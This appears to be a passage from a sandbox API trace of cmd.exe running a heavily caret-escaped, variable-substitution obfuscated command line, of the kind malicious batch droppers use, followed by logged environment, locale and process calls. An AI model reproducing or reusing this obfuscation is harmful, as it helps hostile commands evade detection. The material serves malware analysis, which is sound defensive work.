^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^%^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^:^H^4^a^x^i^y+^F^3^p^bf^b^f^k^7^y^u^u^Qe^7P^jy^6K^1^{^m^6^G^C7y^%^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^:^j^Unb^f^)-^3^Qe^AC^X^]^2^+2^1^F^3^p^b^f^b^f^k^7^y^u^uQ^e^G^C^7^y2^+2^G^C^7^y^'^6^w^L^.^Y^-^3^Q^e^A^C^6n^37^.Y^j^Un^5^)^)^}^2^+^2^}[^2^+2^e^2^+^2^w^L^Xb^1^2^+^2^{^jh^`^e^o2G^C7^y^2^+2^8^P^m^'^%^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^%^R^en^6^w^L^P^jy^{^7^y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^%^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^%z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^%R^en6w^L^P^j^y^{^7^y^jU^6^%^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^%^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^%^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^%^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^%^R^en^6^w^L^P^j^y^{^7^y^j^U6^%^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^%.^Y^.^Y^6^j^U^e/`^6^K^w^L^,^%^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^:^X^b^G^C7^y^)^'^7y6^T^d^vw^L^'^enF^3p^b^f^P^j^Q^e^wL7^y^j^U^6^X^m^u^Q^e^6n^jU^'^eq^F^3p^b^fN^7^y^P^j^Q^e^8^P^e^o^2^7^yj^U^6^R^Z^G^C^7^y^y^%^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^%^w^L^]^6^7^y^j^U^6^%^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^%^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^%e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^%^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&( ; ( ; ; ; (^S^e^t ^\\^,^}_=^!^+^~^}^{^:A^C^=^9^!) ; ; ; ) )&& ( , (, (^s^e^T ^ ^ ^ ^`^?=^!^\\^,^}^_^:^e^o^2^=^s^!) , , ) ; ; )&&( , ( ; ; (S^e^T ^ ^@^[^~=!^`^?:^e^=^I^!) , ) , )&( , , , (^S^e^T ^ ^ ^ ^@^+^*=^!^@^[^~^:^.^=^g^!) , )&& ( (s^E^T ^ ^[^{=^!^@^+^*^:^8^P^=e^!), )& ( ; ; ; (^S^e^T ^ ^{^@^}=^!^[^{^:'^=.^!), , , )& ( ; (^s^E^t ^ ^\\^{=^!^{^@^}^:^2^=^'^!) , )&& ( , ; , ( , ; , ; , (^s^E^T ^}^]^,^$=^!^\\^{^:^a^=^W^!) , ) , , )&& (^s^e^T ^\\^[=^!^}^]^,^$^:^6^=^a^!)&& ( ( ; ; ; (s^e^t ^ ^ ^`^]^$=^!^\\^[^:^4^W^x^=^2^!) ) )&& ( , ; , ;, (^S^e^T ^ ^ ^`^-^$=!^`^]^$:bf=^6!) , ; , ; , )& ( ,(,;,; , (^s^ET ^ ^ [^$^@^+=^!^`^-^$^:^7^K^=^A^!) , ) , ;, )& ( , (^S^e^t ^@^-=^!^[^$^@^+:^3^p=^l^!) ; ; ; )& (^S^et ^ ^ ^ ^~^`^*^?=^!^@^-^:^:^=^*^!)&&( , , (^s^e^t ^#^;=^!^~^`^*^?^:^w^L^=^E^!) ,; , ; , )& ( ( , , (^s^e^T ^ ^*^{^[=^!^#^;:^ ^=^0^!) , ) )& (^s^et ^ ^@^#^?^.=^!^*^{^[^:^g^Y^=^ ^!)&( , ( , , (^S^E^T ^ ^'^}^_^-=^!^@^#^?^.^:^8^0^=^:^!) ; ; ) )&&( , ( , (^s^e^t ^ ^ ^;^]=^!^'^}^_^-^:^j^U=^D^!) ) , )&( ; (^s^e^T ^ ^ ^`^\\^+=^!^;^]^:^,^=^c^!) ; ; )&&( , ( , (S^e^T ^_^@^.^-=^!^`^\\^+:^i^y^=^8^!) , , ) , , )&(^S^e^t ^ ^ ^ ^$^'=" [0102.129] GetCommandLineW () returned="Cmd , ; ; ; pPuxarv/VCsv40blbkn , cw8f/r \", ( , ; , ; ,( , ; , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^%^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^%^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^%^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^%^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^:^H^4^a^x^i^y+^F^3^p^bf^b^f^k^7^y^u^u^Qe^7P^jy^6K^1^{^m^6^G^C7y^%^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^:^j^Unb^f^)-^3^Qe^AC^X^]^2^+2^1^F^3^p^b^f^b^f^k^7^y^u^uQ^e^G^C^7^y2^+2^G^C^7^y^'^6^w^L^.^Y^-^3^Q^e^A^C^6n^37^.Y^j^Un^5^)^)^}^2^+^2^}[^2^+2^e^2^+^2^w^L^Xb^1^2^+^2^{^jh^`^e^o2G^C7^y^2^+2^8^P^m^'^%^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^%^R^en^6^w^L^P^jy^{^7^y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^%^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^%z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^%R^en6w^L^P^j^y^{^7^y^jU^6^%^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^%^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^%^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^%^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^%^R^en^6^w^L^P^j^y^{^7^y^j^U6^%^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^%.^Y^.^Y^6^j^U^e/`^6^K^w^L^,^%^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^:^X^b^G^C7^y^)^'^7y6^T^d^vw^L^'^enF^3p^b^f^P^j^Q^e^wL7^y^j^U^6^X^m^u^Q^e^6n^jU^'^eq^F^3p^b^fN^7^y^P^j^Q^e^8^P^e^o^2^7^yj^U^6^R^Z^G^C^7^y^y^%^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^%^w^L^]^6^7^y^j^U^6^%^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^%^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^%e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^%^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&( ; ( ; ; ; (^S^e^t ^\\^,^}_=^!^+^~^}^{^:A^C^=^9^!) ; ; ; ) )&& ( , (, (^s^e^T ^ ^ ^ ^`^?=^!^\\^,^}^_^:^e^o^2^=^s^!) , , ) ; ; )&&( , ( ; ; (S^e^T ^ ^@^[^~=!^`^?:^e^=^I^!) , ) , )&( , , , (^S^e^T ^ ^ ^ ^@^+^*=^!^@^[^~^:^.^=^g^!) , )&& ( (s^E^T ^ ^[^{=^!^@^+^*^:^8^P^=e^!), )& ( ; ; ; (^S^e^T ^ ^{^@^}=^!^[^{^:'^=.^!), , , )& ( ; (^s^E^t ^ ^\\^{=^!^{^@^}^:^2^=^'^!) , )&& ( , ; , ( , ; , ; , (^s^E^T ^}^]^,^$=^!^\\^{^:^a^=^W^!) , ) , , )&& (^s^e^T ^\\^[=^!^}^]^,^$^:^6^=^a^!)&& ( ( ; ; ; (s^e^t ^ ^ ^`^]^$=^!^\\^[^:^4^W^x^=^2^!) ) )&& ( , ; , ;, (^S^e^T ^ ^ ^`^-^$=!^`^]^$:bf=^6!) , ; , ; , )& ( ,(,;,; , (^s^ET ^ ^ [^$^@^+=^!^`^-^$^:^7^K^=^A^!) , ) , ;, )& ( , (^S^e^t ^@^-=^!^[^$^@^+:^3^p=^l^!) ; ; ; )& (^S^et ^ ^ ^ ^~^`^*^?=^!^@^-^:^:^=^*^!)&&( , , (^s^e^t ^#^;=^!^~^`^*^?^:^w^L^=^E^!) ,; , ; , )& ( ( , , (^s^e^T ^ ^*^{^[=^!^#^;:^ ^=^0^!) , ) )& (^s^et ^ ^@^#^?^.=^!^*^{^[^:^g^Y^=^ ^!)&( , ( , , (^S^E^T ^ ^'^}^_^-=^!^@^#^?^.^:^8^0^=^:^!) ; ; ) )&&( , ( , (^s^e^t ^ ^ ^;^]=^!^'^}^_^-^:^j^U=^D^!) ) , )&( ; (^s^e^T ^ ^ ^`^\\^+=^!^;^]^:^,^=^c^!) ; ; )&&( , ( , (S^e^T ^_^@^.^-=^!^`^\\^+:^i^y^=^8^!) , , ) , , )&(^S^e^t ^ ^ ^ ^$^'=" [0102.129] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a0ec0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0102.129] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x204910, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0102.130] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91 [0102.130] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0102.130] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0102.130] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0102.130] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0102.130] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0102.130] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0102.130] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0102.130] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0102.130] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0102.130] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0102.130] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0102.130] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0102.130] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x12f710 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0102.130] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x104, lpBuffer=0x12f710, lpFilePart=0x12f6f0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x12f6f0*="Desktop") returned 0x19 [0102.130] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11 [0102.130] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x12f420 | out: lpFindFileData=0x12f420) returned 0x204b20 [0102.130] FindClose (in: hFindFile=0x204b20 | out: hFindFile=0x204b20) returned 1 [0102.131] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz", lpFindFileData=0x12f420 | out: lpFindFileData=0x12f420) returned 0x204b20 [0102.131] FindClose (in: hFindFile=0x204b20 | out: hFindFile=0x204b20) returned 1 [0102.131] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", lpFindFileData=0x12f420 | out: lpFindFileData=0x12f420) returned 0x204b20 [0102.131] FindClose (in: hFindFile=0x204b20 | out: hFindFile=0x204b20) returned 1 [0102.131] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11 [0102.131] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 1 [0102.131] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\aETAdzjz\\Desktop") returned 1 [0102.131] GetEnvironmentStringsW () returned 0x202770* [0102.131] FreeEnvironmentStringsW (penv=0x202770) returned 1 [0102.131] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a0ec0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0102.132] _wcsnicmp (_String1="Csv", _String2=":ON", _MaxCount=0x3) returned 41 [0102.133] GetConsoleOutputCP () returned 0x1b5 [0102.133] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a0ebfe0 | out: lpCPInfo=0x4a0ebfe0) returned 1 [0102.133] GetUserDefaultLCID () returned 0x409 [0102.134] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a0e7b50, cchData=8 | out: lpLCData=":") returned 2 [0102.134] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x12f820, cchData=128 | out: lpLCData="0") returned 2 [0102.134] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x12f820, cchData=128 | out: lpLCData="0") returned 2 [0102.134] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x12f820, cchData=128 | out: lpLCData="1") returned 2 [0102.134] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a0fa740, cchData=8 | out: lpLCData="/") returned 2 [0102.134] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a0fa4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0102.134] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a0fa460, cchData=32 | out: lpLCData="Tue") returned 4 [0102.134] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a0fa420, cchData=32 | out: lpLCData="Wed") returned 4 [0102.134] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a0fa3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0102.134] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a0fa3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0102.134] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a0fa360, cchData=32 | out: lpLCData="Sat") returned 4 [0102.134] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a0fa700, cchData=32 | out: lpLCData="Sun") returned 4 [0102.134] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a0e7b40, cchData=8 | out: lpLCData=".") returned 2 [0102.134] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a0fa4e0, cchData=8 | out: lpLCData=",") returned 2 [0102.134] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0102.135] GetConsoleTitleW (in: lpConsoleTitle=0x2027e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.135] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000 [0102.135] GetProcAddress (hModule=0x77b20000, lpProcName="CopyFileExW") returned 0x77b323d0 [0102.135] GetProcAddress (hModule=0x77b20000, lpProcName="IsDebuggerPresent") returned 0x77b28290 [0102.135] GetProcAddress (hModule=0x77b20000, lpProcName="SetConsoleInputExeNameW") returned 0x77b317e0 [0102.136] GetEnvironmentVariableW (in: lpName="^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0102.136] _wcsicmp (_String1="^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^", _String2="CD") returned -5 [0102.136] _wcsicmp (_String1="^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^", _String2="ERRORLEVEL") returned -7 [0102.136] _wcsicmp (_String1="^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^", _String2="CMDEXTVERSION") returned -5 [0102.136] _wcsicmp (_String1="^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^", _String2="CMDCMDLINE") returned -5 [0102.136] _wcsicmp (_String1="^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^", _String2="DATE") returned -6 [0102.137] _wcsicmp (_String1="^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^", _String2="TIME") returned -22 [0102.137] _wcsicmp (_String1="^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^", _String2="RANDOM") returned -20 [0102.137] _wcsicmp (_String1="^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0102.137] GetEnvironmentVariableW (in: 